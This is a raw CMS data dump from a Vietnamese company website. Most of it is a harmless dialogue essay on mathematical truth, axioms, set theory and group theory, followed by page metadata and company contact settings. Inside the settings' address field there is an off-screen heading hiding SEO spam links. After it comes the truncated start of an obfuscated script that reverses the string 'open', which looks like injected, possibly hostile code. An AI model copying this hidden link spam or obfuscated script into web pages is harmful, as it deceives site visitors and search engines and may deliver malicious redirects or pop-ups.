phải là các lựa chọn khả thay thế. Ví dụ như “modal logic” là môn nghiên cứu ứng dụng về tình thái ngữ nghĩa trong ngôn ngữ…</div> <div> </div> <div> Phát hiện về dạng thức là nền tảng cho sự phát triển có tính xây dựng được của nền văn minh tinh thần! Khi bạn đang đọc bài trao đổi này, bạn không “đọc” một cuộc thảo luận nguyên trạng, mà đọc cái đã dạng thức hóa của nó qua các “nguyên tử” ký tự (chữ cái, gồm cả các dấu nghỉ, cảm thán, khoảng trắng, cùng “dấu xuống dòng”, dấu chuyển hồi đoạn, dấu chấm hết … gọi chúng là “nguyên tử” vì các nhân tố này là nhỏ nhất trong hệ thống, không còn chẻ ra tiếp được nữa) đã được cấu trúc hóa theo các qui tắc ngữ pháp. Nói theo logic, các ký tự hợp thành hệ thống các ký hiệu, và việc áp dụng hệ các qui tắc nối kết vào các ký hiệu làm nên các công thức (từ, liên từ, đoạn, câu…), chúng được cắt nghĩa và vận động trong một hệ thống luận suy. Xa xôi hơn, bạn đang đọc được một dãy mã hóa “sắc không”, “âm dương”, “0 và 1”, được đại diện bởi các xung điện. Và cuối cùng, chính bạn phải làm cả một cuộc cắt nghĩa toàn bộ dãy mã này trong văn hóa khoa học tiếng Việt để “cảm hiểu” bài trao đổi.</div> <div> </div> <div> Cũng cần nói rõ là cái ý niệm “sắc không”, “âm dương” trong triết học cổ phương Đông chỉ là một khởi điểm của ý tưởng về các đối cực, chứ không hề liên quan gì đến việc phát triển của khoa máy tính sau này. Vì để có ý tưởng mã hóa tất thảy các hiện tượng chỉ từ hai trạng thái để lợi dụng được các xung điện, phải hiểu ra và phát triển được cái logos “dạng thức”, phát triển logic, toán học để xây dựng nên được ngôn ngữ dạng thức và hệ thống các thuật toán, để rồi có thể công nghệ hóa, tự động hóa chúng. Dãy các trạng thái “0 và 1” còn phải chứa hệ thống các cấu trúc để cho phép gắn kết chúng như thế nào trong quá trình vào mã và giải mã các thông tin. Các nhà Đông học tuyệt đối không có gì để vơ quàng sĩ diện ở đây.</div> <div> Cái tiếp theo của câu chuyện nói ở trên là cái nhìn triết học về “khách quan- chủ quan”, “vật chất- tinh thần”.</div> <div> </div> <div> Ở ta lâu nay người ta nhìn vấn đề này không theo tầng tinh thần triết học, mà theo cảm hứng dân dã, “lập trường”. Nên nhìn nhận rất chân thành rằng ở ta không có căn bản truyền thống về tinh thần văn hóa triết học – logic.</div> <div> </div> <div> Câu chuyện vật chất – tinh thần, cái nào “có trước”, cần nói rõ là “có trước về mặt triết học-logic”, là vấn đề lựa chọn.</div> <div> </div> <div> Ví dụ khi bạn chấp nhận “vật chất có trước tinh thần”, bạn dùng cái gì để “xác nhận” nó ? Bạn dùng chính tinh thần bạn!</div> <div> </div> <div> Nếu bạn không dùng tinh thần của bạn để công nhận “vật chất có trước tinh thần”, thì bạn quả là siêu nhiên! Bạn lại dùng “tinh thần vũ trụ” chăng?</div> <div> </div> <div> Như vậy sự công nhận về sự tồn tại của thế giới bên ngoài, “có trước”, độc lập với tinh thần con người, là vấn đề phương pháp, vấn đề lựa chọn tiên đề, chứ không có và không thể có vấn đề “đúng sai” theo nghĩa triết học ở đây.</div> <div> </div> <div> Cái rắc rối tiếp theo là liệu có một cái “logos phổ quát bên ngoài tinh thần con người” hay không?</div> <div> </div> <div> Cái này cũng thuộc về tiên đề triết học nốt. Phải lựa chọn.</div> <div> </div> <div> Và nếu bạn muốn hiểu “sự thật logic”, “sự thật toán học” như một “tri thức khách quan” thì đó cũng là một lựa chọn.</div> <div> </div> <div> Tri thức tiến lên nhiều khi không phải chỉ do “lập luận thông minh đơn thuần”. Lập luận không làm tiến hóa hệ thống. Lập luận chỉ củng cố hoặc mở rộng hệ thống, nếu hệ thống tỏ ra vẫn chuẩn xác (chưa bị rơi vào tự mâu thuẫn), hoặc ngược lại làm nó lụi tàn, nếu hệ thống không chịu nổi các thử thách về logic. Tri thức tiến lên còn do sự quyết đoán lựa chọn, tiêu biểu là việc lựa chọn các tiên đề. Người biết lựa chọn các tiên đề tất nhiên không phải người tầm thường. Sự lựa chọn là một cách mở rộng hoặc đổi thay hệ thống với những rủi ro và đột biến tiến hóa.</div> <div> </div> <div> Einstein đã lựa chọn tiên đề tốc độ ánh sáng là tốc độ cực đại trong vũ trụ chẳng hạn, điều vượt quá đa phần các bộ óc con người (trong đó tất nhiên có mình ! ;-) ).</div> <div> </div> <div> Sự lựa chọn việc tồn tại “logos khách quan” cũng có những cơ sở của nó. Giản đơn nếu như nhà toán học mà quên cho con mèo ăn, thì con mèo sẽ biết làm cho nhà toán học phải hiểu ra bằng được điều đó và cho nó ăn mà thôi.</div> <div> </div> <div> Lựa chọn sự tồn tại “tri thức khách quan” không có nghĩa là bạn đã có nó! Mà bạn hy vọng có thể phát hiện ra nó, đạt được nó như những tri thức cơ sở. Hơn thế nữa, từ những tri thức cơ sở đó bạn có thể xây dựng những tri thức mới trong khi tuân thủ những “tri thức khách quan về logic” – những tri thức chưa bị bác bỏ được. Nhìn chung tri thức luôn có cả hai mặt phát hiện và sáng chế. Như cái công nghệ thông tin phục vụ bạn đây là thuộc về sáng chế, có thế ta mới xem được những bức ảnh chụp bề mặt sao Hỏa rõ mồn một.</div> <div> </div> <div> Tất nhiên bạn có thể chọn tiên đề “không có tri thức khách quan”.</div> <div> </div> <div> Lựa chọn chỉ là phương pháp. Bạn “tự do” trong lựa chọn. Vấn đề là sự lựa chọn đó đưa bạn đi đến đâu, bạn phải đảm trách sự lựa chọn của mình. Cho nên ý thức triết học nhắn ta phải luôn luôn sẵn sàng nhìn lại những tiên đề của mình.</div> <div> </div> <div> Tam giác triết học – logic – toán học thật hấp dẫn và trong tầng sâu thẳm chúng trộn vào nhau. Hãy xem vài trường hợp sau:</div> <div> </div> <div> Lý thuyết tập hợp hình thành là một sự cộng sinh tuyệt đẹp của triết học, logic và toán học.</div> <div> </div> <div> Tỉ như dãy số tự nhiên 0,1,2…n… thực ra không hề “tự nhiên”, mà lần đầu tiên được xây dựng và cắt nghĩa hoàn chỉnh qua các khái niệm triết học-logic-toán học trong lý thuyết tập hợp.</div> <div> </div> <div> Tập rỗng là tập không chứa phần tử nào, ký hiệu “tập 0”. Đây là một tiên đề có tính triết học về mối tương sinh của tồn tại-hư vô, về “khởi thủy”. Không thể tranh luận gì được ở đây.</div> <div> </div> <div> Tập chứa đơn thuần tập rỗng, kí hiệu “tập 1”.</div> <div> </div> <div> Tập chứa “tập 0” và “tập 1”, ký hiệu “tập 2”, v.v.</div> <div> </div> <div> Và như thế ta có một dãy trật tự hóa, mỗi yếu tố trong dãy này là một tập hợp mà các phần tử của mình chính là tất cả các yếu tố- tập hợp đứng trước nó.</div> <div> </div> <div> Vui chuyện, ta có thể tự an ủi rằng cái ý thức của cá nhân mình khi chưa hình thành thì là một tập rỗng. Dần dà nó phát triển lên thật phong phú. Còn khi ta ra đi, ý thức của ta lại trở về là tập rỗng.</div> <div> </div> <div> Hay lấy một ví dụ khác, một quan hệ logic thuần, đơn giản hóa.</div> <div> </div> <div> Cho A, B, C,…Z là những thành tố của một tập hợp “đồng chất” (cùng một lĩnh vực).</div> <div> </div> <div> “Tính bắc cầu” là một quan hệ logic, ký hiệu R, được hiểu: R(A, B) & R(B, C) à R(A, C). Nghĩa là nếu quan hệ bắc cầu tồn tại giữa A và B, và nếu quan hệ bắc cầu đó cũng tồn tại giữa B và C thì ta có quan hệ bắc cầu này giữa A và C.</div> <div> </div> <div> Bây giờ nếu ta có thêm R(C, D) thì ta sẽ có R(A, D), vì ở trên ta đã có R(A,C). Phép chứng minh là một phép co rút hay quy giản tìm được khi áp dụng liên tục các quy tắc suy luận xác thực trên dãy các tiên đề và công thức đã được chứng minh: R(A, B) & R(B, C) à R(A, C); R(A, C) & R(C,D) à R(A, D).</div> <div> </div> <div> Vậy khi phải tính toán, nếu có R(A,B) & R(B,C) & R(C,D) & … & R(Y,Z) thì R(A,Z) có tồn tại hay không, công việc logic này đã thành công việc của toán học. Để gửi cái e-mail từ Chử Đồng Tử tới Tiên Dung, tri thức logic-toán học đã khách quan hóa trong các phần mềm ở các máy chủ sẽ tính xem gửi các gói thông tin này qua các nút máy nào để tính bắc cầu được thực hiện hiệu quả nhất.</div> <div> </div> <div> Và ở chỗ này, bằng chứng của sự lựa chọn “tri thức khách quan” là sức mạnh hiển nhiên: tri thức logic-toán học ở con người đã được chuyển ra ngoài, đây chính là nội dung của khái niệm “tha hóa” mà mình đã từng nói tới, chuyển thành “tri thức khách quan”, hoạt động tự động trong các máy tính! Đó chính là giá trị của sự lựa chọn triết học! Ngày mai bạn có thể được phẫu thuật bằng máy móc điều khiển do một bác sĩ ở phần bên kia địa cầu thông qua internet, và bạn đành phải tin vào tri thức khách quan nằm giữa bạn và ông bác sĩ!</div> <div> </div> <div> Cũng từ đây cho ta thấy cải cách và tiến bộ xã hội là có thể, vì tri thức, trong đó có các lý tưởng nhân văn xác quyết, có thể dần chuyển được ra “xã hội bên ngoài”, làm nên nền văn minh. Và kết thúc được cái xã hội chủ quan luẩn quẩn “con rắn cắn đuôi”, mãi mãi làm lại từ đầu!</div> <div> </div> <div> “Sự thật” hay “chân lý” về mặt triết học-logic là như sau: một biểu đạt, một hệ thống các biểu đạt (hay công thức), rộng nữa là một lý thuyết, có thỏa mãn bảng giá trị chân lý hay không.</div> <div> </div> <div> Nhưng bản thân cái bảng giá trị này, sâu xa về triết học-logic, thì lại không liên quan gì đến chân lý! Nó có đó do sự lựa chọn. Giống như các tiên đề vậy. Như thế chính triết học luôn cảnh tỉnh ta về sự lựa chọn của mình, thay vì băn khoăn và mắc tóc trong chính sự không ý thức về những lựa chọn đã được thực hiện.</div> <div> </div> <div> Về văn hóa thì chuyện này lại càng thú vị nữa. Con người lớn lên và được tắm trong cả “một biển các giá trị chân lý mẹ truyền”! Không có tư duy triết học, con người loay hoay mắc tóc trong đó đời này sang đời khác, đặt những câu hỏi không vào sâu được hơn cái lớp bao bì chân lý mẹ truyền này, và như ta thường hay thấy, người ta tấm tắc “các cụ nói cấm câu nào sai”! Nếu bạn để ý một chút thôi, thì cái biển chân lý này bao giờ cũng chứa tất cả các mệnh đề trái ngược nhau, tỉ như “một giọt máu đào, hơn một ao nước lã” chọi với “bán anh em xa, mua láng giềng gần”. Các lý thuyết cai trị cổ hủ cũng thường rơi vào tình huống này, do vừa cố mở rộng độ biên của ứng dụng, vì đời sống phong phú lên, lại vừa cố bảo trì các tiền đề cũ kĩ. Một cộng đồng muốn tiến lên, phải làm một cuộc tổng kiểm kê về cái bảng các giá trị này, để mà mình ý thức về chúng, để mà mình sẵn sàng được cảnh tỉnh về chúng, để mà mình có thể thay đổi chúng. Việc này không hề dễ tí nào, tương tự như việc quả táo rơi xuống đất tưởng đã hiển nhiên là chân lý, mà hóa ra lại chỉ là một nửa chân lý như Newton đã nhìn ra!</div> <div> </div> <div> Trong tương quan với các lĩnh vực cụ thể, các quan hệ logic như thế nằm ở tầm “cao hơn chân lý”, “trước chân lý” của những lĩnh vực đó… luôn luôn về mặt logic thôi. Về hình ảnh các quan hệ logic đã dạng thức hóa này tồn tại “trước” khi bị “nhúng vào” trong “các trường nhất định”, “các cư dân nhất định”. Ta tạm gọi các quan hệ này «ở ngoài vật thể” hay “trước vật thể”, chú ý, theo nghĩa… logic!</div> <div> </div> <div> Ví dụ quan hệ logic bắc cầu đã nói trên kia R: R(A, B) & R(B, C) à R(A, C) là một dạng thức quan hệ logic thuần.</div> <div> </div> <div> Chỉ khi “nhúng” quan hệ này vào các “trường sự vật» cụ thể, ở đó mới đẻ ra vấn đề chân lý cụ thể, hay gọi là vấn đề cắt nghĩa trên “một trường sự vật”.</div> <div> </div> <div> Trong cái thế giới sự vật “hệ thống tàu điện”, tính bắc cầu này thỏa mãn chân lý.</div> <div> </div> <div> Trong lĩnh vực “yêu mến”, tính bắc cầu không bắt buộc thỏa mãn chân lý. A yêu mến B, B yêu mến C, không tất yếu A yêu mến C. Ở đây việc triển khai tính bắc cầu mang tính bất định, “có thể bị bác bỏ”.</div> <div> </div> <div> Lưu ý rằng tính bắc cầu không nhất thiết thỏa mãn chân lý trong lĩnh vực “yêu mến”, không có nghĩa là tính bắc cầu “sai” về logic thuần túy. Chuyện đó không có nghĩa. Nói thế để ta thấy rõ hơn tầng logic nằm “trước và ngoài” tầng các sự vật cụ thể.</div> <div> </div> <div> Nói chuyện nhiều khi một xã hội Á Đông cứ loay hoay tranh cãi hàng ngàn năm rằng cái “mô hình” xã hội Nghiêu Thuấn “vua sáng tôi hiền, nhà nhà đi ngủ không phải đóng cửa, người người ra đường không ai nhặt của rơi” tự nó đúng hay sai? Câu hỏi đó vô nghĩa và vô ích về mặt vận hành xã hội. Hãy gác việc phân tích kinh viện cái “mô hình” siêu giản siêu thuần túy đó sang một bên, chưa cần thiết. Hãy cắt nghĩa khi áp dụng cái mô hình “logic” đó vào xã hội ở thời điểm lịch sử nhất định, ta đã có tư liệu lịch sử hàng ngàn năm rồi, xem nó có đảm bảo đưa lại thái bình no đủ vui tươi bền vững hay không ? Nếu là “không”, thì nó là sai theo bảng giá trị được chờ đợi trong cái trường lịch sử đó, và ta không phải lo lựa chọn nó.</div> <div> </div> <div> Vấn đề Dương có thể đẩy lên thú vị hơn nữa, là Logos có tồn tại độc lập được với vật thể không? Ví dụ với các lực hấp dẫn đã được tính toán đó, sự tồn tại của bản thân các vật thể có còn là bắt buộc không, hay các vật thể chỉ còn là sự thể hiện và mách bảo cho ta cái Logos. Các công thức tính toán theo nghĩa nào đó đã được “phi vật thể hóa”. Nhà thiết kế một tòa nhà nay có các tri thức khách quan đã được “tha hóa”, chuyển hóa ra và nằm sẵn trong phần mềm máy tính, và anh ta có thể chọn vật liệu xây dựng sau cùng cũng được, miễn là các vật liệu đó thỏa mãn mô hình logic-toán đã được xác quyết bằng các công thức đã được cài đặt trong phần mềm, chúng cho thấy thỏa mãn các tiêu chí được chờ đợi (bảng các giá trị) về độ bền vững, an toàn, giá trị thẩm mỹ, tiện nghi, môi trường, bảo trì, thương mại…</div> <div> </div> <div> Trong lập trình công nghệ tin học, một chương trình được viết thông minh là chương trình độc lập cao với dữ liệu, và nó chứa đựng hệ thống xử lý thông minh và khả năng giao tiếp phong phú. Khi phải ứng dụng cho các hoạt động khác nhau, ta mới cho nó giao tiếp với hệ thống các thông số của các lĩnh vực hoạt động liên quan, để nó tìm ra các ứng xử thích hợp cho các đối tượng của các lĩnh vực đó…</div> <div> </div> <div> Châu – Mình đồng ý là đem cọ sát các cách suy nghĩ khác nhau từ Triết, Toán đến Vật lý có thể đưa ta đi xa. Nhưng theo kinh nghiệm, ánh sáng không lóe ra từ cái cách áp đặt máy móc mô hình suy nghĩ của bên này qua bên kia. Ánh sáng luôn lóe ra từ những sự tương đồng tinh tế, mà mình phải thực sự tìm thì mới thấy. Những điểm tinh tế đó thường là nằm ở dưới lớp vỏ của ngôn ngữ.</div> <div> </div> <div> Sự hình thành của khái niệm nhóm trong toán rất đáng để suy nghĩ từ quan điểm Triết học. Mình có viết nhiều mẩu trên blog về chuyện này nhưng ít ai để ý.</div> <div> </div> <div> Định nghĩa của nhóm đơn giản đến mức có thể làm những người tò mò thất vọng. Nó mô phỏng các biến đổi nội tại của một đối tượng. Hai biến đổi có thể “hợp thành với nhau”, nhưng biến đổi A xảy ra trước biến đổi B kết hợp lại sẽ khác với khi biến đổi B xảy ra trước biến đổi A. Ngoài ra thì mọi biến đổi đểu nghịch đảo được, tức là có một biến đổi theo chiều ngược lại. Các tiên đề về nhóm đại khái chỉ có vậy.</div> <div> </div> <div> Ví dụ cơ bản là các thao tác trên khối rubik. Có thao tác A là quay mặt bên trái một góc 90 độ, có một thao tác B là quay mặt trên một góc 90 độ. Có hai thao tác hợp thành A rồi B và B rồi A. Ngoài ra thì có thao tác nghịch đảo của A, nghĩa là quay mặt bên trái một góc 90 độ theo chiều ngược lại so với A.</div> <div> </div> <div> Nhóm các thao tác trên rubik là một nhóm hữu hạn nhưng có rất nhiều phần tử và khá phức tạp. Vì thế mà khi ta xem hướng dẫn cách quay rubik, nói chung mình chỉ biết chấp hành thôi, còn không hiểu tại sao phải làm như thế. Muốn hiểu phải nghiên cứu tường tận cấu trúc của nhóm này.</div> <div> </div> <div> Bên cạnh các nhóm hữu hạn, rộng hơn là các nhóm rời rạc, ta còn có các nhóm liên tục.</div> <div> </div> <div> Điển hình là nhóm các phép dời trong không gian. Hình học cổ điển có thể biên soạn lại dưới ngôn ngữ của nhóm các phép dời hình trong mặt phẳng hoặc trong không gian. Đó chính là quan điểm của hình học hiện đại. Lý thuyết phương trình đại số một ẩn số được Galois giải thích một cách thấu đáo bằng lý thuyết nhóm Galois. Một trong những cố gắng chính của lý thuyết số hiện đại là mở rộng lý thuyết Galois ra hệ phương trình đại số nhiều ẩn số. Langlands tiên đoán một sự liên quan mật thiết đến các dạng automorphic mà khởi thủy là một nhóm con rời rạc trong một nhóm liên tục. Trong vật lý lý thuyết, Gell-Mann tiên đoán sự tồn tại của một hạt cơ bản dựa vào danh sách các biểu diễn của nhóm Lie.</div> <div> </div> <div> Khái niệm nhóm có vẻ như một cấu trúc đại số đơn giản thuận tiện, rất khó lý giải ảnh hưởng sâu rộng của nó đến hiểu biết chung của con người.</div> <div> </div> <div> Minh – Nhân Châu nói đến vụ cái rubik thấy hấp dẫn quá, nên bàn thêm mấy câu thế này:</div> <div> </div> <div> Tư duy là quá trình Lập Luận, Lập và Luận. Lập Luận xoay vòng nối tiếp nhau. Lập là lựa chọn, là quyết định, là hướng định. Lập khởi thủy là hệ thống các tiên đề, các ký hiệu, các qui tắc kết nối, các quy tắc thao tác, cùng một hệ thống ngữ nghĩa, làm nên một lý thuyết. Luận là quá trình thao tác kết nối, chuyển tải, sinh thành các Lập mới sao cho hợp thức (“không vi hiến”). Toàn bộ dòng này chảy dẫn từ Tiên đề đến Kết luận (Kết luận là một Lập đạt được cuối cùng của một chu trình). Dòng chảy này đa trị, nên có phép chứng minh hay thì có thể rất ngắn, hoặc phép chứng minh kém hay thì có thể siêu dài. Ví dụ về tập hợp các thao tác trên khối rubik của Châu rất hay cho trường hợp này: có người xoay rất nhanh ăn, người khác lâu ăn, riêng mình có thể xoay rubik cả đời không đi đến đâu cả, nhưng không hề phạm một lỗi logic nào! ;-).</div> <div> </div> <div> Trong một lĩnh vực tri thức cụ thể, xuất phát từ Hệ tiên đề mà đạt đến Kết luận mang tính bất định (ví dụ lý thuyết «tính bắc cầu của lòng yêu mến” đưa đến các kết quả “lúc có, lúc nhất định không»), thậm chí mâu thuẫn, sẽ buộc ta phải xem xét lại, bổ sung hoặc thay đổi lý thuyết trong lĩnh vực tri thức đó. Logic chỉ đóng vai trò tư pháp, đảm nhiệm tính hợp pháp của quá trình Luận và của các Lập được sinh thành (ví dụ một công thức mới thu được như kết quả chứng minh hợp pháp thu được từ quá trình Luận). Còn tính chân lý nằm ở trong nội dung các Lập, được cắt nghĩa bởi bảng các giá trị chân lý có được do các kinh nghiệm, thực nghiệm, kiến thức khoa học đã xác tín (tương đối) và/hay các lựa chọn lý tưởng nhân văn xác quyết. Tính chân lý trong trường hợp khối rubik trên kia có thể được định nghĩa trong bảng giá trị như sau: “ở mọi trạng thái ban đầu, ta luôn luôn sẽ có cách đưa khối rubik về trạng thái mà mỗi mặt chỉ có một màu, bằng cách chỉ áp dụng các thao tác cho phép”, như Châu đã nói ở trên.</div> <div> </div> <div> Dương – Như vậy là ở đây có một số vấn đề cần làm rõ hơn:</div> <div> </div> <div> 1. Một lý thuyết mô tả những biến đổi nội tại trở nên rất mạnh khi mô tả thực tại (reality), nên thực tại phải có cấu trúc nội tại và sự biến đổi của thực tại là do những biến đổi nội tại gây ra?</div> <div> </div> <div> 2. Không thể có một kết cục tất yếu cho sự vận động của một thực tại, vì kết cục phụ thuộc vào cách thức và thứ tự của từng biến đổi riêng rẽ. Phán đoán ở mức tốt nhất chỉ là phán đoán thống kê, không thể là phán đoán tất định?</div> <div> </div> <div> 3. Cơ sở cho những tiên đoán như của Gell-Mann là gì? Có phải đó chỉ là sự tự hoàn thiện, đối xứng, tao nhã…, những tiêu chí của cái Đẹp. Như vậy cái Đẹp (Beauty) và cái Thật (Truth) có quan hệ gì? Một lý thuyết đẹp và mô tả xác thực thường được coi là tốt. Vậy Đẹp, Thật, Tốt (Chân-Thiện-Mỹ) có quan hệ gì với nhau? Hay ba cái này là một.Và như thế, có tồn tại một bộ quy luật chung cho Mỹ học và Đạo đức như cho Khoa học? Thực ra, đây là một câu hỏi rất cũ, nhưng đến giờ vẫn chưa có câu trả lời thỏa đáng.</div> <div> </div> <div> Châu – Mình có một lý thuyết như thế này, có thể là hơi hàm hồ.</div> <div> </div> <div> Có rất nhiều yếu tố khác nhau để tạo nên cái đẹp. Một yếu tố là tính vừa đủ: không thiếu, đặc biệt là không thừa.</div> <div> </div> <div> Phải chăng thiên nhiên tuân theo nguyên tắc tiết kiệm, không chỉ tiết kiệm năng lượng, mà còn tiết kiệm cả thông tin nữa. Vì thế ngôn ngữ để mô tả nó cũng phải thỏa mãn tính tiết kiệm thông tin.</div> <div> </div> <div> Cái đẹp có một lợi thế khác nữa trong quá trình phát triển của tri thức, cái đẹp dễ được tiếp thu hơn. Cái gì xấu xí, nhưng có giá trị, thường sẽ được con người gọt rũa cho đến khi nó trở thành đẹp. Cái gì giữ mãi cái vỏ xấu xí của mình sẽ có nhiều cơ hội để rơi vào lãng quên.</div> <div> </div> <div> Dương – Lý thuyết của anh không “hàm hồ” chút nào, mà ngược lại, “cực kỳ tao nhã” (cười).</div> <div> </div> <div> Chẳng phải Einstein từng nói: một lý thuyết cần “simple, but not simpler” thì cũng hàm ý không thiếu không thừa.</div> <div> </div> <div> Nhân vật Hòa Thân trong phim Tể tướng Lưu gù một thời làm mưa làm gió trên phim truyền hình (Việt Nam, còn ở Trung Quốc thì không rõ) miêu tả một cô gái đẹp cho vua Càn Long như sau: cô ấy đẹp đến nỗi nếu bớt một chút thì thiếu, mà thêm một chút thì thừa. Càn Long (tay chơi có số) nghe đến đó thì cười tít mắt. Theo lý thuyết này, giám khảo của các cuộc thi sắc đẹp bây giờ, nếu thấy thí sinh có sẹo ở chân chẳng hạn, có lẽ nên nói cái sẹo ở đó là thừa thay vì thay vì chê bai thí sinh.</div> <div> </div> <div> Như vậy xem ra nhận định của Đông Tây kim cổ đều có nét tương đồng.</div> <div> </div> <div> Giờ nghiêm túc hơn một chút nhé:</div> <div> </div> <div> Trong vật lý cổ điển, khi năng lượng có vai trò chủ đạo thì Nguyên tắc hoạt động tối thiểu (Principle of least action) có vai trò quan trọng tương ứng. Vậy nếu coi tự nhiên (universe), ở mức cơ bản nhất, được tạo bởi thông tin (hiện có rất nhiều nhà vật lý theo giả thiết này) thì Nguyên tắc tiết kiệm thông tin (Principle of least information – PLI) cũng sẽ có vai trò tương tự. Liệu có thể tìm cách kiểm chứng PLI ở những chỗ này chăng (với sự dè dặt rất lớn)? Trường hấp hẫn: theo cách giải thích thường thấy thì vật chất làm cong không gian, độ cong đó chính là hấp dẫn. Vậy có thể nhìn cách khác: không gian là lưới thông tin; độ cong của không gian chính là mật độ thông tin. Như vậy, ở mức cơ bản nhất, không gian, và rộng ra là cả vũ trụ, được cấu tạo bởi thông tin. Chỗ nào có mật độ thông tin lớn thì vật chất tụ lại tương ứng. Ánh sáng cũng như mọi vật chuyển động theo đường trắc địa không phải vì hấp dẫn mà đơn giản là dòng chảy tự nhiên của thông tin theo cách tương thích nhất với thông tin nền mà nó tiếp xúc (không gian). Sự lượng tử hóa không gian sẽ là một hệ quả tất yếu. Nhưng thời gian thì sao? Hoặc trong Vật lý lỗ đen, khi các bit thông tin phủ kín chân trời lỗ đen chứ không phải là toàn bộ thể tích lỗ đen thì đây có thể coi là hệ quả của nguyên tắc “không thiếu không thừa”? Vậy liệu có thể dùng PLI để đạt lại những kết quả như của họ? Tiếc là không có một nhà Vật lý lý thuyết ở đây để thảo luận vấn đề này.</div> <div> </div> <div> Minh – Anh chen một tý vào chuyện cái đẹp thế này.</div> <div> </div> <div> Cái đẹp có một khía cạnh đặc biệt, là nó liên quan đến cảm xúc của con người.</div> <div> “Tri thức khách quan” không thể thống trị ở đây hoàn toàn được.</div> <div> </div> <div> Cái đẹp của mối tình mới chớm đến, khác với cái đẹp của mối tình dứt áo ra đi.</div> <div> </div> <div> Cái đẹp của quảng trường Times Square ở New York, cả quảng trường là một sân khấu vĩ đại tuyệt vời mà mỗi người có mặt tự mình thành một nhân vật sống, khác với cái đẹp của một bãi biển đìu hiu nắng chiều đỏ ối ở Dauvine, Châu hát, Minh gảy đàn. Mà cũng lại khác nữa với một vẻ chiều cuối Xuân đường Nguyễn Du, Dương với Minh gặp nhau lần đầu trong đời thực bên tách café để rồi bắt đầu câu chuyện dài ở đây…</div> <div> </div> <div> Ở đây không đơn thuần là “tiết kiệm năng lượng” nữa, mà là các thẩm mỹ biểu đạt các dòng chảy của năng lượng.</div> <div> </div> <div> Châu – Có rất nhiều điều thú vị trong câu chuyện này. Nhưng có lẽ, mình đã đi quá xa so với chủ đề ban đầu.</div> <div> </div> <div> Dương - Em cũng thấy vậy, nên sẽ tổng kết lại ở đây. Những phần mở rộng sẽ được thảo luận tiếp trong một dịp khác.</div> <div> </div> <div> <strong>Thay lời kết</strong></div> <div> </div> <div> Sự thật Toán học, với những đặc tính như khách quan, bền vững, duy lý… có thể được coi là một trong những đặc sản của nền văn minh phương Tây. Sự phát triển của khoa học kĩ nghệ hiện đại trước hết khởi đầu bởi sự tìm ra những sự thật toán học này.</div> <div> </div> <div> Chính là chúng – dù bản chất tồn tại vẫn còn là một vấn đề bỏ ngỏ – đã tạo ra cơ sở vững chắc cho kho tri thức của nhân loại. Không có chúng, khoa học và kĩ nghệ không thể ra đời, nền văn minh kĩ nghệ hiện đại không thể phát triển.</div> <div> </div> <div> Cuộc thảo luận về sự thật toán học ở đây tuy chưa dài, nhưng đã gợi mở rất nhiều vấn đề của Triết học, Toán học và Vật lý… Hy vọng rằng, chúng sẽ được làm sáng tỏ phần nào trong những thảo luận tiếp theo.</div> <div> ---</div> <div> * Giáp Văn Dương dẫn chuyện và biên tập.</div> ', 'images' => '20160616030721f00b6379b82a515a9478b6e58b783de9.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-16', 'modified' => '2025-08-10', 'status' => '1', 'view' => '61823', 'slug' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '709', 'rght' => '710', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), 'setting' => array( 'id' => '1', 'name' => 'Công Ty Cổ Phần Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'title' => 'Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'address_eng' => '<div> QUANG TAY - QHT ENGINEERING EQUIPMENT AND SERVICE JSC</div> <div> Representative: Le Van</div> <div> Position: Director</div> <div> Address: số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, Hà Nội City</div> <div> Phone number:</div> <div> Email:</div> <div> Tax code: 0103008064</div> ', 'address' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/Ảnh chụp Màn hình 2016-06-24 lúc 9_52_55 SA.png" /></p> <h2 style="position: absolute; top: -100000px; overflow: auto;"> <a href="http://www.sieuthibaoholaodong.vn/" title="quần áo bảo hộ lao động">quần áo bảo hộ lao động</a> <a href="http://www.inhoadon.net.vn/" title="in hóa đơn">in hóa đơn</a></h2> <div> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space: pre;">Hậu</span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc<br /> Mã số thuế:<span style="white-space: pre;"> </span>0103008064<br /> Địa chỉ:<span style="white-space: pre;"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội<br /> Email:<span style="white-space: pre;"> </span>quangtayqht@gmail.com<br /> Số điện thoại công ty: 02437759534</div> <div> <div> Số điện thoại kỹ thuật: 0904212040</div> <div> Số điện thoại kinh doanh: 0913303547</div> </div> <div> </div> <div> </div> </div><script> const sl={get a(){return sl.g("nepo")},get b(){return 